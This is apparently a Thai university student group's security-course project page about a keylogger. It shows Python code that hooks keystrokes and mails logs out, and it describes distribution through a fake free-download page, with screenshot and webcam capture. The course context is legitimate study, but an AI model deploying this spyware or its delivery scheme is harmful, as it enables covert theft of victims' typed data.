Keylogger

หลักการและเหตุผล

ปัจจุบันโลกของเราได้เข้าสู่ยุคดิจิตอลอย่างเป็นทางการ ในยุคที่ความรู้หรือสิ่งต่างๆสามารถเข้าถึงได้ง่ายเพียงแค่ปลายนิ้วสัมผัส ผู้คนต่างใช้อินเตอร์เนตเพื่อความสะดวกสบายในการใช้ชีวิตและทำให้ชีวิตง่ายขึ้น แต่สิ่งที่แฝงอยู่ในโลกอินเตอร์เน็ตนั้นมีทั้งสิ่งที่ดี และสิ่งที่มุ่งร้ายต่อผู้ใช้งาน เช่น การดาวน์โหลดโปรแกรมในอินเตอร์เนต หากเราไม่ได้ระมัดระวังเรื่องความปลอดภัยในการดาว์โหลดผ่านเว็บไซต์ โปรแกรมที่เราดาวน์โหลดอาจจะมีโทรจันหรือมัลแวร์แฝงอยู่ ทางเราได้เล็งเห็นปัญหาและความเสี่ยงเหล่านี้ จึงได้ทำโปรเจคนี้ขึ้นมา

วัตถุประสงค์

- เพื่อศึกษาทักษะวิธีการสร้างและใช้งาน Malware (เพื่อความรู้เพียงอย่างเดียว)
- เพื่อนำเอาความรู้ที่ได้จากวิชา SC362006 Imformation and communication technology security มาปรับใช้
- เพื่อศึกษากระบวนการทำงานของ Malware และ หาวิธีรับมือ
- เพื่อเพิ่มทักษะทาง Programing

ซอฟแวร์ที่ใช้พัฒนา

ตัวอย่าง

```python
def OnKeyboardEvent(event):
    global yourgmail, yourgmailpass, sendto, interval
    data = '\n[' + str(time.ctime().split(' ')[3]) + ']' \
        + ' WindowName : ' + str(event.WindowName)
    data += '\n\tKeyboard key :' + str(event.Key)
    data += '\n=================='
    global t, start_time
    t = t + data

    if len(t) > 500:
        f = open('Logfile.txt', 'a')
        f.write(t)
        f.close()
        t = ''

    if int(time.time() - start_time) == int(interval):
        Mail_it(t, pics_names)
        t = ''

    return True
```

```python
hook = pyHook.HookManager()

hook.KeyDown = OnKeyboardEvent

hook.MouseAllButtonsDown = OnMouseEvent

hook.HookKeyboard()

hook.HookMouse()

start_time = time.time()
```

วิธีการทำงาน

ทำการสร้างเว็บเพจปลอมสำหรับ Download Free program เพื่อให้ผู้ใช้ทำการ Download ตัว Keylogger ที่แนบไปกับตัวโปรแกรม หลังจากทำการติดตั้งจะทำให้ Keylogger รันบนพื้นหลัง ตรวจจับข้อมูลของการพิมพ์ของผู้ใช้ และทำการส่งกลับข้อมูลมาให้กับเรา

วิธีการใช้งาน

ทำการแทรก สคริปไปยังตัวติดตั้งขอโปรแกรม เพื่อทำการโหลด requirements ของ keylogger และรัน keylogger file ในตัวkeylogger.py จะมีฟังก์ชั่นในการ Log keyboard ของเป้าหมาย มีฟังก์ชั่น capture screen shot และ take webcam. ส่งผ่านข้อมูลด้วย stmp รับ email ผ่าน mail trap บริการ stmp email online.

เอกสารอ้างอิง

- https://github.com/nathanlopez/Stitch
- https://github.com/GiacomoLaw/Keylogger
- https://csperson.kku.ac.th/chakchai/images/342376_2020/6.pdf
- https://wrksoftware.co/en/keylogger-คืออะไร-แล้วแฮกเกอร์ส่องเราทำอะไรบ้าง
- https://www.it24hrs.com/2021/remove-keylogger-hidden-on-my-pc/

รายชื่อ
Sec 1 | Group 10

643021096-4 ก้องกังวาลย์ วันสุพงศ์
643021108-3 นพสรณ์ พรหมศรี
643021104-1 เจนธีรา นาคนชม
643020376-3 ธนวัฒน์ พิมานคำ
643020374-7 ธนกฤต เสาใบ